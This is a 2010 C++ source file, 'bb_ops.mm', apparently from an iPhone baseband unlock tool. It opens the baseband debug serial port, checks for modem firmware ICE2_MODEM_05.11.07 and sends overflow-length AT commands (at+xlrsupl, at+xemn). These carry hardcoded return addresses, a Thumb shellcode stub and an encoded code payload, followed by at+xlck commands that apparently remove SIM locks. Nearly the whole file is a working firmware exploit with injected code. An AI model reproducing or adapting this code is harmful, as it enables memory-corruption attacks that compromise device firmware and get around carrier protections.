/*
 *  bb_ops.mm
 *  bbinj
 *
 *  Created by msftguy on 6/5/10.
 *  Copyright 2010 __MyCompanyName__. All rights reserved.
 *
 */

#include "bb_ops.h"

#include "logging.h"

char g_readbuf[PAGE_SIZE*10];

ssize_t logged_read(int fd, void* buf, size_t size)
{
	ssize_t result = read(fd, buf, size);
	log_io(fd, "logged_read", buf, result > 0 ? result : 0, result);
	return result;
}

ssize_t logged_write(int fd, const void* buf, size_t size)
{
	ssize_t result = write(fd, buf, size);
	log_io(fd, "logged_write", buf, size, result);
	return result;
}

#define read logged_read

#define write logged_write

void bb_reset(int sleepTime)
{
	kern_return_t   result;
	
	const CFDictionaryRef matchingDict = IOServiceMatching("AppleBaseband");  
	io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matchingDict);
	if (service == MACH_PORT_NULL) {
		log_progress("bb_reset/IOServiceGetMatchingService failed");
		printf("IOServiceGetMatchingService failed\n");
		return;
	}
	
	io_connect_t conn;
	result = IOServiceOpen(service, mach_task_self(), 0, &conn);
	if (result != KERN_SUCCESS) {
		log_progress("bb_reset/IOServiceOpen failed");
		printf("IOServiceOpen failed\n");
		return;
	}
	
	result = IOConnectCallScalarMethod(conn, 0, 0, 0, 0, 0);
	if (result == KERN_SUCCESS) {
		log_progress("bb_reset/OK");
	} else {
		log_progress("bb_reset/FAILED");
	}
	IOServiceClose(conn);
	sleep(sleepTime);
}

int bb_open(int baudrate)
{
	int fd = open("/dev/tty.debug", O_RDWR|O_NOCTTY);
	termios ts = {0};
	ts.c_cflag = CLOCAL|CREAD|CS8;
	assert(ts.c_cflag == 0x8B00);
	cfsetspeed(&ts, baudrate);
	cfmakeraw(&ts);
	tcflush(fd, 1);
	tcsetattr(fd, 0, &ts);
	return fd;
}

int bb_recv(int fd, char* buf, size_t bufsize, size_t minRequired = (size_t)-1);

int bb_recv(int fd, char* buf, size_t bufsize, size_t minRequired)
{
	int cbRecv = 0;
	fd_set fdset = {0};
	timeval tv = {0, 200000};
	FD_ZERO(&fdset);
	FD_SET(fd, &fdset);
	while(cbRecv < minRequired && select(FD_SETSIZE, &fdset, nil, nil, &tv) > 0) {
		int read_result = read(fd, buf + cbRecv, bufsize - cbRecv);
		if (read_result < 0) {
			break;
		}
		cbRecv += read_result;
	};
	if (minRequired != (size_t)-1 && cbRecv < minRequired) {
		return -1;
	}
	return cbRecv; 
}

void bb_send(int fd, const char* str)
{
	size_t cbRemaining = strlen(str);
	size_t pos = 0;
	while (cbRemaining > 0) {
		int cbSent = write(fd, str + pos, MIN(0x200, cbRemaining));
		if (cbSent < 0) {
			break;
		}
		cbRemaining -= cbSent;
		pos += cbSent;
	}
	*g_readbuf = '\0';
	int cbRecv = bb_recv(fd, g_readbuf, sizeof(g_readbuf));
	if (cbRecv >= 0) {
		g_readbuf[cbRecv] = '\0';
	}
}

void bb_send_pad(int fd, unsigned char pad)
{
	char pad_buf[0x426];
	char at_xlrsupl_prefix[] = "at+xlrsupl=\"";
	strcpy(pad_buf, at_xlrsupl_prefix);
	sprintf(pad_buf + strlen(pad_buf), "a%c", pad);
	for (int i = strlen(pad_buf); i <= 0x421; i += 2) {
		pad_buf[i] = 0x11;
		pad_buf[i+1] = 0x47;
	}	
	strcpy(pad_buf + 0x422, "\"\r\n");
	bb_send(fd, pad_buf);
}

bool bb_exploit_main()
{
	const int MAX_RETRIES = 5;
	log_progress("BBX/enter");
	char recv_buf[0x10000];
	bool fRetry = false;
	for (int cRetries = 0; cRetries < MAX_RETRIES; ++cRetries) {
		fRetry = false;
		
		log_progress("BBX/reset");
		bb_reset(3);
		
		log_progress("BBX/open");
		int fd = bb_open(115200);
		log_progress("BBX/open, fd=%i", fd);
		
		log_progress("BBX/send-e0");
		bb_send(fd, "ate0\r\n");
		
		log_progress("BBX/send-xlog");
		bb_send(fd, "at+xlog\r\n");
		const char* xgendata_prefix = "+XGENDATA: \"";
		const char* version_string = "ICE2_MODEM_05.11.07";
		const char* pGenData = strstr(g_readbuf, xgendata_prefix);
		if (pGenData != NULL) {
			if (memcmp(pGenData + strlen(xgendata_prefix), version_string, strlen(version_string)) != 0) {
				log_progress("BBX/wrongver");
				//BB version mismatch
				close(fd);
				return false;
			}
		}
		log_progress("BBX/send+ipr-460");
		bb_send(fd, "at+ipr=460800\r\n");

		log_progress("BBX/close");
		close(fd);

		log_progress("BBX/open-460");
		fd = bb_open(460800);
		log_progress("BBX/open: %i", fd);

		log_progress("BBX/send-at");
		bb_send(fd, "at\r\n");

		char buf1[0x20E];
		const char* xlrsupl = "at+xlrsupl=\"";
		
		strcpy(buf1, xlrsupl);
		for (int i = strlen(xlrsupl); i <= 0x209; i += 2) {
			buf1[i] = 0x11;
			buf1[i+1] = 0x47;
		}
		strcpy(buf1 + 0x20A, "\"\r\n");
		buf1[0x1FE] = (char)0xFF;
		buf1[0x1FF] = (char)6;
		for (int i = 0; i < 100; ++i) {
			buf1[strlen(xlrsupl)] = '0' + i % 0x10;
			write(fd, buf1, strlen(buf1));
			log_progress("BBX/recv_q-%i", i);
			if (bb_recv(fd, recv_buf, sizeof(recv_buf), 4) == -1) {
				fRetry = true;
				break;
			}
		}
		log_progress("BBX/close");
		close(fd);
		
		if (!fRetry) {
			break;
		}
	}
	if (fRetry) {
		log_progress("BBX/MAXRETRIES HIT!");
		return false;
	}

	log_progress("BBX/reset");
	bb_reset(3);

	log_progress("BBX/open-115");
	int fd = bb_open(115200);
	log_progress("BBX/open: %i", fd);

	log_progress("BBX/send-e0");
	bb_send(fd, "ate0\r\n");

	log_progress("BBX/send-pad-a");
	bb_send_pad(fd, 'a');
	char payload2[0x427];
	char xemn_xx_prefix[] = "at+xemn=\"xx";
	strcpy(payload2, xemn_xx_prefix);
	memset(payload2 + strlen(payload2), 'T', 0x418);
	payload2[0x417] = (char)0x11;
	payload2[0x418] = (char)0x47;//'G'
	payload2[0x419] = (char)-1;
	payload2[0x41A] = (char)2;
	*(int*)(payload2 + 0x41B) = 0x4048DF80;
	strcpy(payload2 + 0x423, "\"\r\n");

	log_progress("BBX/send-payload2");
	bb_send(fd, payload2);

	log_progress("BBX/send-pad-b");
	bb_send_pad(fd, 'b');

	log_progress("BBX/send-pad-c");
	bb_send_pad(fd, 'c');
	char payload3[0xC4B];
	memset(payload3, 'T', 0xC4A);
	char xemn_prefix[] = "at+xemn=\"xx";
	strcpy(payload3, xemn_prefix);
	for(int i = strlen(payload3); i <= 0x50A; i += 2) {
		payload3[i] = 0x11;
		payload3[i+1] = 0x47;		
	}
	strcpy(payload3 + 0xC47, "\"\r\n");
	*(int*)(payload3 + 0xC23) = 0x4048E495;
	*(int*)(payload3 + 0xC43) = 0x20101604;
	unsigned char stub[] = {
		0x0B, 0xA0, 0x11, 0x24,   0x24, 0x03, 0x21, 0x1C,
		0x41, 0x23, 0x51, 0x25,   0x06, 0x78, 0x47, 0x78,
		0xAE, 0x42, 0x07, 0xD0,   0xF6, 0x1A, 0xFF, 0x1A, 
		0x36, 0x01, 0x3E, 0x43,   0x0E, 0x70, 0x01, 0x31,
		0x02, 0x30, 0xF3, 0xE7,   0x20, 0x47
	};
	char code[] = 
		"AAAAAPOBMAAAIAODAAPACBOBDIAAAAOLAAAAAPOBMAAAMAODAAPACBOBHEEAJPOF"
		"BEPPCPOBBAAPBBOOPPAAMAODBAAPABOOAAAAKAOBAAAAKAOBAAAAKAOBAAAAKAOB" 
		"BOPPCPOBBHAPAIOOAAAAKAOBAAAAKAOBAAAAKAOBAAAAKAOBBAAPBBOOPPAAMAOD"
		"AHAAIAODBAAPABOOAAAAKAOBAAAAKAOBAAAAKAOBAAAAKAOBAAAAKAODBFAPAHOO"
		"AAAAKAOBAAAAKAOBAAAAKAOBAAAAKAOBAAAAKAOBBOPPCPOBMAAJPPPPAAAAAAOK"
		"ABDAEAOFAADANBOFAAAAFDODAACAKAOBABBAIBOCABAAIAOCPIPPPPBKAADAMCOF"
		"BOPPCPOBAEOACNOFAAOAKAODCCCBKAOBAOMAKAOBACAAAAOKABDAJMOHAADAIMOH"
		"AEMAIMOCACAAFOOBABOAIOOCPJPPPPDKAEPAJNOEOACAJPOFOABAJPOFANDKOAOD"
		"FLCMADOFAADAKAODJEDPIBOFNACAJPOFNADAJPOFCECFIDOFMMDAJPOFDAEACNOJ"
		"JADPIBOFMEEAJPOFACAKKAODAPOAKAOBAAPAJEOFPPAOMAODAPAAMAODABFKIAOC"
		"KMBAJPOFABCKKAODAFAAKAOBNMPPPPOLACALKAODAPOAKAOBAAPAJEOFPPAPMAOD"
		"ADAAMAODIMCAJPOFIMBAJPOFAADAKAOBABELIAOCAACEIDOFABCKICOCABAAFCOB"
		"AEDAIDOCPKPPPPBKFFDOIFODAODAIDODAMDDIEOFGEDAJPOFCMDAIFOFKAPPPPOL"
		"BBDAIEODAAEAKAODAMDIIEOFKEPPPPOLEMBAJPOFEMAAJPOFLHPPPPOLEIDAJPOF"
		"LDEAMDOFACDMIDOCGGEAMDOFAEAAKAOBABDMIDOCLAEAMDOFDAIALNOICIPMEJEA"
		"AANAEIEAHEGLGPEAAAHABCEABBEHPPAHBMBCABAAAADADMCAFOAFDACAFOAFEACA"
		"AAAAKAOBBABCABAAMAHCBBEAAAHDBBEAGJGOGKGFGDHEGFGEAAAAAAAAGIBEPPPP"
		"MMNMBOCALPEAEFCAIFPGBDCAQ";
	
	assert(sizeof(stub) == 0x26);
	memcpy(payload3 + 0x50B, stub, sizeof(stub));
	memcpy(payload3 + 0x53B, code, strlen(code));
	
	log_progress("BBX/send-payload3");
	bb_send(fd, payload3);
	
	log_progress("BBX/send-at@help");
	bb_send(fd,  "at@help\r\n");

	log_progress("BBX/send+xlck=0");
	bb_send(fd,  "at+xlck=0\r\n");
	
	char at_xlck1_fmt[] = 
		"at+xlck=1,%i,\"%0512i\"\r\n";

	char xlck1_buf[600];
	
	for (int i = 1; i < 5; ++i) {
		
		log_progress("BBX/send+xlck=1,%i", i);
		int cWritten = snprintf(xlck1_buf, sizeof(xlck1_buf), at_xlck1_fmt, i, 0);
		assert(cWritten < sizeof(xlck1_buf));
		bb_send(fd, xlck1_buf);
	}
	
	log_progress("BBX/send+xlck=2");
	bb_send(fd, "at+xlck=2\r\n");
	close(fd);

	return strstr(g_readbuf, "\r\nOK\r\n") != NULL;
}